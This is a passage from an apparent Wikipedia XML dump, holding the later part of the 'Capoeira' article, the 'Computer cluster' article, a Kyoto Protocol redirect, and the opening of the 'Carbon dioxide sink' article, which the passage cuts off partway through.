The instruments are played in a row called the [[bateria]].  three instruments are [[berimbau]]s, which look like an archer's bow using a steel string and a gourd for resonation. It is played by striking the string with a stick, and the pitch is regulated by a stone. Legend has it that, in the old times, knives or other sharp objects were attached to the top of the berimbau for protection and in case a large fight broke out.  These three bows are the [[Berraboi]] (also called the [[bass (musical term)|bass]] or [[Gunga]]), [[Medio]], &amp; [[Viola (berimbau)|Viola]], and lead the rhythm. Other instruments in the bateria are: two ''[[pandeiro]]s'' ([[tambourine]]s), a ''Reco-Reco'' ([[rasp]]), and an ''[[Agogo]]'' (double [[gong]] [[bell (instrument)|bell]]). The [[Atabaque]] ([[conga]]-like [[drum]]), a common feature in most capoeira baterias, is considered an optional instrument, and is not required for a full bateria in some groups.

== Roda and philosophy ==
[[Image:Capoeira-in-the-street-2.jpg|right|thumb|300px|Two men playing in a Capoeira Regional roda in [[Amsterdam]].]]

The &quot;[[roda]]&quot; is the circle of people within which capoeira is played.  People who make up the roda's circular shape clap and sing along to the music being played for the two partners engaged in a capoeira match or rather a &quot;game&quot; (&quot;jogo&quot;). In some capoeira [[school]]s an individual in the audience can jump in to engage one of the two players and begin another game.

The minimum roda size is usually a circle where the radius is the length of a [[berimbau]], or about 3 metres (10 feet) in diameter.  They are often larger, up to 10 metres in diameter (30 feet).  The rhythm being played on the [[berimbau]] sets the pace of the game being played in the roda. Slow music limits the game to slow yet complex ground moves and handstands.

Hits usually aren't made but feigned or just shown.  The players often turn away from each other's hits just to throw their own.  Slow games are often seen as ''finesse'' games, less impressive for the casual viewer.  Faster music allows for more circular momentum which is key to gaining &quot;big air&quot; in the roda.

Capoeiristas can take up a lot of space while playing, so the roda is rarely small, especially if the players are playing quickly.  In the fast game, acrobatics and big, circular kicks abound to the delight of onlookers.  Sometimes actual hits are registered, but only between higher-level competing capoeiristas.

The roda is a [[microcosm]] which reflects the [[macrocosm]] of life and the world around us. Most often in the roda, your greatest opponent is yourself. Philosophy plays a large part in capoeira and the best teachers strive to teach Respeito (Respect), Responsabilidade (Responsibility), Segurança (Safety/Security), Malícia (Cleverness/Street-smarts), and Liberdade (Liberty/Freedom).

Modern capoeira is often criticized by more traditional practitioners of capoeira as being in the process of losing its &quot;playfulness&quot; in the sense that many capoeiristas tend to focus more on impressive acrobatics and not so much the playful interaction with the other player in the roda.

== The game ==
Capoeira doesn't focus on destroying the person you play against, rather on demonstrating more skill (or cunning). Capoeiristas often prefer to show the movement without completing it, enforcing their superiority in the roda. If your opponent cannot dodge your slowest attack, there is no reason to use your fastest.  Each attack that comes in gives you a chance to practice an evasive technique.  

=== Ginga ===
The ''ginga'' (literally: rocking back and forth) is the fundamental movement in capoeira. Capoeira Angola and Capoeira Regional have distinctive forms of ''ginga''. Both are accomplished by maintaining both feet approximately shoulder-width apart and then moving one foot backwards and then back to the base. This movement is done to prepare the body for other movements.

The rest of the body is also involved in the ''ginga'': coordination of the arms (in such a way as to prevent the body from being kicked), torso (many core muscles may be engaged depending on the player's style), and the leaning of the body (forward and back in relation to the position of the feet; the body leans back to avoid kicks, and forward to create opportunities to show attacks). The overall movement should match the rhythm being played by the ''bateria''.

=== Attacks ===
Capoeira primarily attacks with kicks and sweeps. Some schools teach punches and hand strikes, but they are not as common. Capoeira also uses acrobatic and athletic movements to maneuver around the opponent.  Cartwheels (a very common acrobatic movement), handstands, head- and hand-spins, hand-springs, sitting movements, turns, jumps, flips, and large dodges are all very common in capoeira.

=== Defenses ===
Capoeira defenses consists of evasive moves and rolls. A series of ducks called 'Negativas', which literally means negations (of kicks) are also staple of a capoeiristas' defensive vocabulary. There are typically different Negativas for every step of the Ginga, depending on the direction of the kick and intention of the defender. A common defense is the 'Role', which is a rolling move that combines a duck and a low movement. This move allows the defensive player to quickly evade an attack and position themselves around the aggressor in order to  lay up for an attack. It is this combination of attacks and defense which gives a game of Capoeira its perceived 'fluidity' and choreography. Other evasive moves allow the capoeirista to move away or dangerously close in an attempt to trip up the aggressor in the briefest moment of vulnerability (usually in a mid-kick).

=== Combinations ===
There are also styles of moves which combines both elements of attack and defense. An example is the 'Au Batido', a move commonly associated with Capoeira. In essence, the move begins as an evasive cartwheel which then turns into a blocking/kick, either as a reflexive response to a blocking move from the opposing player or when an opportunity to do so presents itself (an opponent's drop of guard for example).

=== Chamada ===
Capoeira Angola rodas feature a ritual called the &quot;chamada.&quot;  In a chamada, one player assumes a ritual pose, for example, with one hand in the air. Normally, the other player should approach and join the pose (in this example, touching their hand to the first player's hand).  The players then walk back and forth until the first player separates and offers a slow attack, and the jogo resumes. However, the whole chamada is fraught with tension, since it is acceptable for either player (although most often the player that called the chamada) to strike out in a sudden attack &amp;ndash; at any speed at all. If the other player is caught, it's because they weren't being careful enough. The goal of the chamada is to test a player's ability to cooperate, to appear friendly, without exposing himself to a sneaky attack. Some mestres will playfully involve spectators in the chamada (for example, introducing a female bystander to their opponent only to take the opponent down while he doffs his hat). Chamadas serve to show how well a player can handle the tricks of the world (&quot;o mundo enganador&quot; is a common call in the louvação).

''Volta ao mundo'' (or &quot;trip around the world&quot;) is a short break taken by both players, and is in ''Capoeira Regional'' the only ''Chamada'' or call available to indicate a desire to change something about the game being played, while in Capoeira Angola it leads to more formalized Chamadas. 

Though each school is different, an example from a regional school could be walking counter-clockwise in large circle, loosely holding left hands and walking in the same direction. Two or three gentle laps is all the rest you get, then it's time to play again. In a Capoeira Angola school the meeting of the left hands would indicate a specific chamada that requires a ritual exit distinct and different from merely separating hands. 

The &quot;volta ao mundo&quot; is commonly used to force the players to cool down after a heated exchange or by a player when he/she needs a break. It is important to note that &quot;volta ao mundo&quot; is practiced differently by different schools &amp;ndash; some hold hands, some do not, some walk, some run. In some schools, the &quot;volta ao mundo&quot; is done when the music is over and the players are waiting for the new one to start. If you ever visit a roda, make sure you respect that school's behaviours in this respect as failure to do so is looked upon as quite rude.

=== Trickery ===
For students who have mastered the basic moves, their game naturally progresses towards a more cunning slant. The art of trickery, or 'Malandragem'. This involves a lot of improvisation and modifications of basic moves into a flurry of feints and fakes in a blatant attempt to trick the opponent in responding wrongly. To this end, the ability of the capoeirista lies in their skill to observe and reliance on their innate sense in anticipating the moves of their opponents and prepare the appropriate response. Some capoeiristas take this aspect of the art to heights akin to the guile of theatrics and drama. Games displaying elaborate performances and even staging skits reenacting historic cultural aspects of Capoeira are commonly demonstrated amongst the most learned of the art.

== Styles of Capoeira ==
There are many different kinds of capoeira. As previously stated the two largest types are [[Capoeira Angola|Angola]] and [[Capoeira Regional|Regional]].  Although groups of one style do exist, most groups tend to mix the two styles to some degree. Capoeira Angola groups from the Northeast will tend to identify only as Capoeira Angola and will mimic Regional for performances.

=== Capoeira Angola ===
Angola is considered to be the true root style of capoeira, often characterized by slower, sneakier movements played closer to the ground and with the players playing their games in closer proximity to each other.  Capoeira Angola, in actuality, is played in a great range of speeds, ranging from Mestre Rene's school (with fast, highly acrobatic movements and frenetic high tempo music) to Mestre João Pequeno's school (with much slower, methodical movements to low tempo, hypnotic music).  The father of modern Capoeira Angola is considered to be [[Mestre Pastinha]] (Paas-cheen-yah) who lived in Salvador, [[Bahia]]. Today, most of the Capoeira Angola media that is accessible comes from mestres in [[Capoeira lineage under Mestre Pastinha|Pastinha's lineage]], but this isn't to say that he was the only one or that he was the originator.  Many others helped in the preservation and propagation of Capoeira Angola, including Mestre Caiçara, Mestre Bobo, Mestre Noronho, Besouro Mangangá, etc. The Angola style, while emphasizing the traditions and history of capoeira remains a contemporaneous art in the vibrant street scene of Salvador, Bahia.  There is a diversity of styles and players, all of the traditional form, playing or performing in a great range of speeds and testing each other in various academies and in the street.

=== Capoeira Regional ===
Regional is a newer and more martially-oriented game. Regional was developed by [[Mestre Bimba]] to make capoeira more mainstream and accessible to the public, and less associated with the criminal elements of [[Brazil]].  While capoeiristas can sometimes play Angola-like, slow games, the Regional style is most often composed of fast and athletic play. On the contrary to what you might read elsewhere, Bimba's Regional style contains almost none of acrobatic movements so often associated with capoeira. It is combat oriented while maintaining the trickiness of Capoeira Angola.

Later, so called ''modern Regional'' came to be (see the next section about capoeira contemporanea). Developed by other people from Bimba's Regional, this type of game is characterized by high jumps, acrobatics, and spinning kick. This ''Regional'' should not be confused with the original style created by Mestre Bimba.

Regional ranks capoeiristas (Capoeira players) by ability, denoting different skill with the use of a ''corda'' (colored rope, also known as ''cordel'' or ''cordão'') worn as a belt. Angola does not use such a formal system of ranking, relying instead upon the discretion of a student's mestre. In both forms, though, recognition of advanced skill comes only after many years of constant practice.

=== Capoeira Contemporânea ===
Today, there are many [[fusion music|fusion]] styles, which mix the Angola and Regional traditions.  Some refer to this as &quot;capoeira atual,&quot; or &quot;capoeira contemporânea.&quot;  Whether playing Angola or Regional, groups often have different styles of wildly different movements.  In general, older groups/styles often have a greater emphasis on the traditions of capoeira, while newer groups concentrate chiefly on sports-like technique.

== Capoeira in popular culture ==
Capoeira has recently been popularized by the addition of Capoeira in a number of [[Computer and video games|computer games]], giving the sport introductory access to untold millions of teenagers and twenty-something adults.
*Two ''capoeiristas'', [[Eddie Gordo]] and [[Christie Monteiro]], fight in the popular games ''[[Tekken 3]]'', ''[[Tekken 4]]'', and ''[[Tekken 5]]''.
*[[Elena (video game character)|Elena]] fights Capoeira in the game ''[[Street Fighter III]]''.
*In the early [[Fatal Fury]] [[video games]], the characters [[Richard Myer]] and [[Bob Wilson (video game)|Bob Wilson]] used capoeira.
*In the massively multiplayer RPG ''[[World of Warcraft]]'', [[troll]] males perform capoeira moves as a non-combatitive dance emote.
*In addition to characters, several capoeira kicks have appeared in several wrestling games, including the ''[[WWE SmackDown! (video game)|WWE Smackdown!]]'' series. 
*In the competitive dancing game ''[[Bust a Groove]]'' for the [[PlayStation]], a pair of aliens named 'Capoeira' are featured as a boss, incorporating the dance into their routine.
*In the [[anime]] and upcoming [[videogame]], ''[[Samurai Champloo]]'', the character [[List of Samurai Champloo characters#Mugen|Mugen]] has a fighting style said to be inspired from capoeira.
*In the video game ''[[The King of Fighters XI]]'', a Japanese female fighter named [[Momoko]] uses Capoeira (a very strange move, since in almost every Japanese-developed fighting games normally Japanese fighters normally use native martials arts).
*In the anime [[Tenjho Tenge]], the character [[Bob Makihara]] uses this style. 

[[Image:Bostoncapoeira.JPG|thumb|480px|Capoeiristas outside Faneuil Hall in Boston]]

''[[Only The Strong]]'', a 1993 action film, is considered to be the only Hollywood film that showcases Capoeira from beginning to end. While many Capoeira fans appreciate the film out of a sense of irony, it is generally considered to be a poor quality and cheesy movie which has been rarely used to showcase the sport. More recent and more widely seen movies such as [[2004]]'s successful ''[[Meet the Fockers]]'' and ''[[Ocean's Twelve]]'' both featured capoeira in several short, but memorable scenes. A character of ''[[Tenjho Tenge]]'', Bob, also practices capoeira. Additionally, ex-wrestler turned actor &quot;[[The Rock (entertainer)|The Rock]]&quot; performed a fight scene with several capoeiristas in the film &quot;[[The Rundown]]&quot;. The movie ''[[The Quest]]'', starring Jean-Claude Van Damme, had a scene during the tournament of the Golden Dragon, where the Brazilian fighter did an exhibition of capoeira, before his fight. The 1989 movie Rooftops directed by the Academy award winner ''[[Robert Wise]]'' has also featured a number of Capoeira scenes.

[[Catwoman]] also displayed some capoeira moves during some fights scenes. Actress [[Halle Berry]] reportedly followed a thorough training with a brasilian instructor.

Moreover, several pop and rock artists, such as [[Soulfly]], [[Sepultura]], [[Ben Harper]] and [[Gjallarhorn]] have published [[album (music)|album]]s containing one or more tunes featuring the [[berimbau]]. The [[automobile]] company [[Mazda]] has also made a [[Capoeira music|Capoeira song]], ''Zum Zum Zum'', the theme song for their [[Advertising|advertisements]].

[[Breakdancing]], developed in the 1970s, has many analogous moves. Indeed, many Brazilians had immigrated to the [[United States of America|US]], and particularly to [[New York, New York|New York]], by that time, and would practice capoeira in the streets where it was able to influence this new dance form.

One of the [[BBC 'Rhythm &amp; Movement' idents]] introduced to [[BBC One]] in [[2002]] shows a capoeira dance, which raised its profile in the [[United Kingdom]]. While the attention capoeira has received has caused a boom of interest in this martial art, more skeptical capoeiristas have argued that the way it is used in the media is misrepresentative of what capoeira truly is.

Capoeira formed the basis for the martial arts style of the [[Jaffa (Stargate)|Jaffa]] people in the [[Stargate SG-1]] universe.  The fighting style was highlighted in the fifth season episode [[The Warrior (Stargate SG-1)|The Warrior]].

In the 2005 Thai action movie [[Tom Yum Goong]], there was a short fight sequence with the main character [[Tony Jaa]] fighting a Capoeira master ([[Lateef Crowder]]), who was one of the three opponents he faced in the temple fight scene. The fight was presented with an interesting contrast considering Tony Jaa's athletic style vs Lateef Crowder's Capoeira skills. Lateef Crowder was reported to have got injured during filming, which is why the fight was cut short in the film.

== Finding a place to play ==
If you are interested in playing capoeira, most major cities throughout the world have at least one club/group to join.  Make sure you find out about your group's style and watch a class.  Different groups have many differing advantages, so do the research yourself.  Some styles are heavily geared towards being clever in the roda whereas others focus more on the physical capabilities of the players.  Some groups practice exclusively Angola, while others practice exclusively Regional, so if the style you see isn't what you hoped for, keep looking.

The Southern California hardcore metal scene also uses capoeira as an evolution of the early 80's &quot;slam dancing&quot;. With many of the basic traditions of the &quot;roda&quot; and &quot;volta-ao-mundo&quot;, the participants engage in capoeira at 144-180+ beats per minute. Notably the fans that follow bands such as &quot;Bleeding Through&quot; and &quot;Audora&quot;, dance in this manner.

== Special events ==
Capoeira Regional groups periodically hold ''Batizados'' (&quot;baptisms&quot; into the art of capoeira). Members being &quot;baptized&quot; are normally given a ''corda'' (cord belt) and an ''apelido'' (capoeira [[nickname]], which may already have been given in class before the ''Batizado''). ''Batizados'' are major events to which a number of groups and masters from near and far are normally invited. Sometimes a ''Batizado'' is also held in conjunction with a ''Troca de Corda'' (&quot;change of belts&quot;), in which students already baptized who have trained hard and been deemed worthy by their teachers are awarded higher-ranking belts as an acknowledgment of their efforts. Such ceremonies provide opportunities to see a variety of different capoeira styles, watch ''mestres'' play, and see some of the best of the game. Sometimes they are open to the public.

Batizados and Trocas de Corda do not occur in Capoeira Angola, which does not have a system of belts. However, some contemporary schools of capoeira have combined the study of both arts and may require their students to be learned in the ways of Capoeira Angola before being awarded a higher belt.

== Important Mestres ==
*[[Mestre Bimba]]: founder of the Regional style.
*[[Mestre Pastinha]]: founder of the first organized Angola academy.

Other Capoeira Mestres may be found at [[:Category:Capoeira Mestres]]

For a complete list of all known Capoeira Mestres, see the [http://www.capoeira4all.com/mestres/index.php Mestre Index] at Capoeira4All.com.

== See also ==
* [[capoeira music]]
* [[berimbau]]
* [[Christie Monteiro]]
* [[Eddie Gordo]]
* [[Madame Satã]]

== Books ==
* Almeida B. (1986). ''Capoeira, a Brazilian Art Form: History, Philosophy, and Practice'' (2nd ed.). North Atlantic Books. ISBN 0938190296
* Nestor Capoeira. (2002). ''Capoeira: Roots of the Dance-Fight-Game''. North Atlantic Books. ISBN 1556434049
* Nestor Capoeira. (2003), ''The Little Capoeira Book'' (Revised ed.). North Atlantic Books. ISBN 1556434405
* Lowell L.J. (1992), ''Ring of Liberation : Deceptive Discourse in Brazilian Capoeira''. University of Chicago Press. ISBN 0226476839
* Röhrig Assunção, Matthias (2004) &quot;Capoeira: The History of Afro-Brazilian Martial Art&quot; Routledge ISBN 0714650315
* Downey, Greg. (2005). &quot;Learning Capoeira: Lessons in Cunning From an Afro-Brazilian Art&quot;. Oxford University Press. ISBN 0195176979
* Mansouri, Arno (2005). &quot;Capoeira, Bahia&quot;, Editions Demi-Lune. ISBN 2952557101 Bilingual (French and English) Info at www.editionsdemilune.com/bahia

== External links ==
{{commonscat|Capoeira}}
{{wiktionary|capoeira}}
=== General Information ===
*[http://www.capoeira.com/ www.capoeira.com] Capoeira forum
*[http://www.capoeirista.com/ www.capoeirista.com] Information and forums
*[http://www.wu-wien.ac.at/usr/h96b/h9650297/capoeira.html www.wu-wien.ac.at/usr/h96b/h9650297/capoeira.html] Information on basic Capoeira moves
*[http://www.capoeira4all.com/ www.capoeira4all.com] Information on Capoeira history, mestres, moves, and more
*[http://www.planetcapoeira.com/ www.planetcapoeira.com] Website of the Planet Capoeira Magazine
*[http://www.addictinggames.com/capoeirafighter3.html Capoeira Fighter 3] Demonstration of Capoeira, as a fighting game in Flash

=== International school directories === 
*[http://www.capoeirista.com/schools.html www.capoeirista.com schools] (over 1000 schools)
*[http://dmoz.org/Sports/Martial_Arts/Capoeira/Schools_and_Instruction/ dmoz.org schools]
*[http://www.frappr.com/capoeiraschools Capoeira @ Frappr!] - Capoeira group listing and their locations (still populating)
*[http://www.martialhub.com/capoeira/capoeira.html Martialhub.com] Worldwide Capoeira schools and associations listed

[[Category:Brazil|Capoeira]]
[[Category:Brazilian martial arts]]
[[Category:War dances]]
[[Category:Latin American folk dances]]
[[Category:Capoeira]]

{{Link FA|pt}}

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[[bg:Капоейра]]
[[ca:Capoeira]]
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[[zh:卡波耶拉]]</text>
    </revision>
  </page>
  <page>
    <title>Computer cluster</title>
    <id>5977</id>
    <revision>
      <id>41576000</id>
      <timestamp>2006-02-28T06:29:49Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.200.130.5|203.200.130.5]] to last version by Buyya</comment>
      <text xml:space="preserve">[[Image:PurdueLinuxComputerCluster.jpg|thumb|250px|[[Linux]] Cluster at [[Purdue University]].]]
A '''computer cluster''' is a group of loosely coupled [[computer]]s that work together closely so that in many respects it can be viewed as though it were a single computer.  Clusters are commonly, but not always, connected through fast local area networks.  Clusters are usually deployed to improve speed and/or reliability over that provided by a single computer, while typically being much more cost-effective than single computers of comparable speed or reliability.

==Cluster categorizations==
===High-availability (HA) clusters===
[[High-availability cluster]]s are implemented primarily for the purpose of improving the availability of services which the cluster provides.  They operate by having redundant [[Node (networking)|nodes]], which are then used to provide service when system components fail.  The most common size for an HA cluster is two nodes, which is the minimum required to provide redundancy.   HA cluster implementations attempt to manage the redundancy inherent in a cluster to eliminate single points of failure. There are many commercial implementations of High-Availability clusters for many operating systems.   The [[Linux-HA]] project is one commonly used [[free software]] HA package for the [[Linux]] OS.

===Load balancing clusters===
[[Load balancing]] clusters operate by having all workload come through one or more load-balancing front ends, which then distribute it to a collection of back end servers.  Although they are implemented primarily for improved performance, they commonly include high-availability features as well.  Such a cluster of computers is sometimes referred to as a [[server farm]].  There are many commercial load balancers available including  Platform LSF HPC, [[Moab Cluster Suite]] and [[Maui Cluster Scheduler]].  The [[Linux Virtual Server]] project provides one commonly used free software package for the Linux OS.

===High-performance (HPC) clusters===
[[High-performance cluster]]s are implemented primarily to provide increased performance by splitting a computational task across many different [[Node (networking)|nodes]] in the cluster, and are most commonly used in scientific computing. One of the more popular HPC implementations is a cluster with nodes running [[Linux]] as the [[Operating system|OS]] and free software to implement the parallelism. This configuration is often referred to as a [[Beowulf (computing)|Beowulf]] cluster. Such clusters commonly run custom programs which have been designed to exploit the parallelism available on HPC clusters. Many such programs use libraries such as [[Message Passing Interface|MPI]] which are specially designed for writing scientific applications for HPC computers.

HPC clusters are optimized for workloads which require jobs or processes happening on the separate cluster computer nodes to communicate actively during the computation.  These include computations where intermediate results from one node's calculations will affect future calculations on other nodes.

===Grid Computing===
[[Grid computing]] or grid clusters are a technology closely related to cluster computing.  The key differences between grids and traditional clusters are that grids connect collections of computers which do not fully trust each other, and hence operate more like a computing utility than like a single computer.  In addition, grids typically support more heterogeneous collections than are commonly supported in clusters.

Grid computing is optimized for workloads which consist of many independent jobs or packets of work, which do not have to share data between the jobs during the computation process.  Grids serve to manage the allocation of jobs to computers which will perform the work independently of the rest of the grid cluster.  Resources such as storage may be shared by all the nodes, but intermediate results of one job do not affect other jobs in progress on other nodes of the grid.

==High-performance cluster implementations==
The TOP500 organization publishes the 500 fastest computers twice a year, usually including many clusters on their list. ''[[TOP500]]'' [http://top500.org] is a collaboration between the [[University of Mannheim]], the [[University of Tennessee]], and the National Energy Research Scientific Computing Center at [[Lawrence Berkeley National Laboratory]]. The current top supercomputer is the [[Department of Energy]]'s [[BlueGene/L]] system with performance of 280.6 TFlops. The second place is owned by another [[BlueGene/L]] system with performance of 91.29 TFlops.

Clustering can provide significant performance benefits versus price. The [[System X]] supercomputer at [http://www.tcf.vt.edu/systemX.html Virginia Tech], the twentieth most powerful supercomputer on Earth [[As of 2005|as of November 2005]], is a 12.25 TFlops computer cluster of 1100 [[Apple Computer|Apple]] [[XServe]] [[PowerPC 970|G5]] 2.3 GHz dual processor machines (4 GB RAM, 80 GB SATA HD) running [[Mac OS X]]. The cluster initially consisted of [[Power Macintosh G5|Power Mac G5]]s; the XServe's are smaller, reducing the size of the cluster. The total cost of the previous Power Mac system was $5.2 million, a tenth of the cost of slower [[mainframe]] supercomputers. The Power Mac G5s were sold off.

The central concept of a [[Beowulf (computing)|Beowulf]] cluster is using [[COTS]] computers to produce a cost-effective alternative to a traditional [[supercomputer]].  One project that took this to an extreme was the [[Stone Soupercomputer]].

[[John Koza]] has the largest computer cluster owned by an individual.

==Cluster history==
The first commodity clustering product was [[ARCnet|ARCnet]], developed by [[Datapoint|Datapoint]] in 1977.  ARCnet wasn't a commercial success and clustering didn't really take off until [[Digital Equipment Corporation|DEC]] released their VAXcluster product in the [[1980s]] for the [[OpenVMS|VAX/VMS]] operating system. The ARCnet and VAXcluster products not only supported parallel computing, but also shared [[file system]]s and [[peripheral]] devices. They were supposed to give you the advantage of parallel processing, while maintaining data reliability and uniqueness.  VAXcluster, now VMScluster, is still available on [[OpenVMS]] systems from [[HP]] running on Alpha and Itanium systems.

The history of cluster computing is intimately tied to the evolution of networking technology.  As networking technology has become cheaper and faster, cluster computers have become significantly more attractive.

==Cluster technologies==
[[Message Passing Interface|MPI]] is a widely-available communications library that enables parallel programs to be written in [[C programming language|C]] and [[Fortran]], for example, in the [[climate model]]ing program [[MM5]].

The GNU/Linux world sports various cluster software, such as:
* [[Beowulf (computing)|Beowulf]], [[distcc]], [[MPICH]] and other - mostly specialized application clustering. distcc provides parallel compilation when using [[GNU Compiler Collection|GCC]].
* [[Linux Virtual Server]], [[Linux-HA]] - director-based clusters that allow incoming requests for services to be distributed across multiple cluster nodes.
* [[Mosix]], [[openMosix]], [[Kerrighed]], [[OpenSSI]] - full-blown clusters integrated into the [[kernel (computer science)|kernel]] that provide for automatic process migration among homogeneous nodes. OpenSSI and Kerrighed are [[single-system image]] implementations.

[[DragonFly BSD]], a recent [[fork (software)|fork]] of [[FreeBSD]] 4.8 is being redesigned at its core to enable native clustering capabilities. It also aims to achieve [[single-system image]] capabilities.

[[MSCS]] is [[Microsoft]]'s high-availability cluster service for [[Microsoft Windows|Windows]].  Based on technology developed by [[Digital Equipment Corporation]], the current version supports up to eight nodes in a single cluster, typically connected to a [[SAN]].  A set of [[application programming interface|API]]s support cluster-aware applications, generic templates provide support for non-cluster aware applications.

== Clustering software (open source) ==
* [[Linux-Cluster Project]] [http://sources.redhat.com/cluster/] [[Global File System]] &amp; HA
* [[Maui (software)|Maui Cluster Scheduler]] [http://www.clusterresources.com/products/maui/]
* [[OpenSSI]] High-availability, load-balancing, and high-performance clustering with or without a [[SAN]].
* [[OpenMosix]]
* [[OpenSCE]] [http://www.opensce.org/]
* [[Open Source Cluster Application Resources]] (OSCAR) [http://oscar.openclustergroup.org/]
* [[Rocks Cluster Distribution]] [http://www.rocksclusters.org/]
* [[Sun GridEngine]]
* [[TORQUE]] Resource Manager, [http://www.clusterresources.com/products/torque/]
* [[WareWulf]] [http://warewulf.lbl.gov/pmwiki/]

== Clustering products ==
* [http://www.alchemi.net Alchemi]
* [[BOINC]]
* HP's [[OpenVMS]]
* [[High Availability Cluster Multiprocessing|IBM's HACMP]]
* IBM [[Parallel Sysplex]]
* [[KeyCluster]]
* [[Linux-HA]]
* [[MC Service Guard]] for [[HP-UX]] systems
* [[Microsoft Cluster Server]] (MSCS)
* [[Moab Cluster Suite]] [http://www.clusterresources.com/products/moabclustersuite.shtml]
* [[Platform LSF]] [http://www.platform.com/products/lsf]
* [[NEC ExpressCluster]] [http://www.nec-online.com/page.asp?id=64]
* [[Novell Cluster Services]], [http://www.novell.com/documentation/oes/index.html?page=/documentation/oes/cluster_admin_lx/data/h4r4bw6c.html Novell Cluster Services for Linux and NetWare]
* [[Oracle Real Application Cluster]] (RAC)
* [[PolyServe]]
* [[Red Hat Cluster]]
* [[SteelEye LifeKeeper]]
* [[Sun N1 GridEngine]] [http://www.sun.com/software/gridware/ Sun N1 GridEngine]
* [[Veritas Cluster Server]] (VCS), from [[VERITAS Software]]
* [[Scyld Beowulf Cluster]] [http://www.scyld.com]]
* [[Platform Rocks]] [http://www.platform.com/rocks]

==See also==
* [[Cluster (programming)]]
* [[Cluster Resources, Inc.]]
* [[Distributed data store]]
* [[Flash mob computing]]
* [[Grid computing]]
* [[LinuxHPC]] [http://www.LinuxHPC.org]
* [[Peer-to-peer]]
* [[Symmetric multiprocessing]]
* [[Two-node cluster]]
* [http://www.buyya.com/cluster Cluster Computing Info Center]

==References==
* Karl Kopper: ''The Linux Enterprise Cluster: Build a Highly Available Cluster with Commodity Hardware and Free Software'', No Starch Press, ISBN 1593270364
* Evan Marcus, Hal Stern: ''Blueprints for High Availability: Designing Resilient Distributed Systems'', John Wiley &amp; Sons, ISBN 0471356018
* Greg Pfister: ''In Search of Clusters'', Prentice Hall, ISBN 0138997098
* Rajkumar Buyya (editor):  ''High Performance Cluster Computing: Architectures and Systems'',  Volume 1, ISBN 0-13-013784-7, Prentice Hall, NJ, USA, 1999.
* Rajkumar Buyya (editor): ''High Performance Cluster Computing: Programming and Applications'', Volume 2, ISBN 0-13-013785-5, Prentice Hall, NJ, USA, 1999.

==External links==
* [http://www.beowulf.org/ Beowulf]
* [https://cajo.dev.java.net The cajo project] Free clustered computing using Java. (LGPL)
* [http://www.clusterbuilder.org Cluster Builder]- Research for building a cluster
* [http://www.clusterresources.com Cluster Resources]
* [http://bofh.be/clusterknoppix/ ClusterKnoppix]
* [http://www.clustermonkey.net ClusterMonkey] - On-line Cluster magazine
* [http://www.cs.sandia.gov/cplant Cplant, a non-Beowulf Linux cluster]
* [http://www.ieeetfcc.org/ IEEE task force on cluster computing, the leading academic community on cluster computing]
* [http://lcic.org/ Linux clustering information center]
* [http://linux-ha.org/CommercialSoftware List of commercial HA clustering Software for Linux]
* [http://www.linuxhpc.org/ LinuxHPC]
* [http://www.sun.com/software/grid Sun Grid Computing Solutions]
* [http://www.top500.org/ Top 500 Supercomputer List]
* [http://www.windowsnetworking.com/articles_tutorials/Cluster-Quorums.html Understanding How Cluster Quorums Work]

== Cluster sites ==
*[http://www.irb.hr/en/cir/projects/dcc/00006/ IRB]
*[http://www.sara.nl/userinfo/lisa/usage/batch/index.html SARA]
*[http://teragrid.ncsa.uiuc.edu/TGIA64LinuxCluster.html Teragrid]
*[http://www.tcf.vt.edu/systemX.html ViriginaTech]
*[http://www.westgrid.ca/support/topics/scheduling.php WestGrid]

[[Category:Computer networks]]
[[Category:Parallel computing]]

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[[zh:计算机集群]]</text>
    </revision>
  </page>
  <page>
    <title>Climate Change-Kyoto Protocol</title>
    <id>5978</id>
    <revision>
      <id>15904145</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Kyoto Protocol]]
</text>
    </revision>
  </page>
  <page>
    <title>Carbon dioxide sink</title>
    <id>5980</id>
    <revision>
      <id>42043510</id>
      <timestamp>2006-03-03T12:05:52Z</timestamp>
      <contributor>
        <ip>83.130.77.65</ip>
      </contributor>
      <comment>/* Forests */</comment>
      <text xml:space="preserve">[[Image:carbon_sequestration.jpg|thumb|right|300px|Carbon sequestration from a fossil-fuel power station]]
A '''carbon dioxide sink''' or '''CO&lt;sub&gt;2&lt;/sub&gt; sink''' is a carbon reservoir that is increasing in size, and is the opposite of a carbon &quot;source&quot;. The main sinks are the [[ocean]]s and growing [[vegetation]]. The concept has become more widely known through its application by the [[Kyoto Protocol]]. 

'''Carbon sequestration''' is the term describing processes that remove carbon from the [[biosphere]]. A variety of means of artificially capturing and storing carbon, as well as of enhancing natural sequestration processes, are being explored. This is intended to support the [[mitigation of global warming]].

== Natural sinks ==
=== Forests ===
The idea of carbon sinks based on growing trees rests on an understanding of the [[carbon cycle]]. Enormous amounts of carbon are naturally stored in trees. As part of [[photosynthesis]] trees absorb carbon dioxide from the [[Earth's atmosphere|atmosphere]] and store it as carbon while [[oxygen]] is released back into the atmosphere. Rapidly growing trees absorb a larger amount of carbon dioxide. Mature trees grow less rapidly and thus have a lower intake of carbon dioxide. Trees are about 20% carbon by weight.  While individual trees die and decay, eventually releasing most stored carbon back to the atmosphere, the forest and the underlying ground as a whole continues to store carbon as dying or harvested trees are replaced by natural regeneration. 

The dead trees, plants, and moss in [[peat]] bogs undergo slow anaerobic decomposition below the surface of the bog.  This process is slow enough that in many cases the bog grows faster and fixes more carbon from the atmosphere than is released.  Over time, the peat grows deeper.  Peat bogs inter approximately one-quarter of the carbon in land plants and soils [http://www.mcgill.ca/reporter/32/15/roulet/].

Under some conditions, forests and peat bogs may become sources of CO&lt;sub&gt;2&lt;/sub&gt;. This can happen, for example, when a forest is flooded by the construction of a hydroelectric dam. The rotting vegetation is a source of CO&lt;sub&gt;2&lt;/sub&gt; and methane comparable in magnitude to the amount of carbon released by a fossil-fuel powered plant of equivalent power.

=== Oceans ===
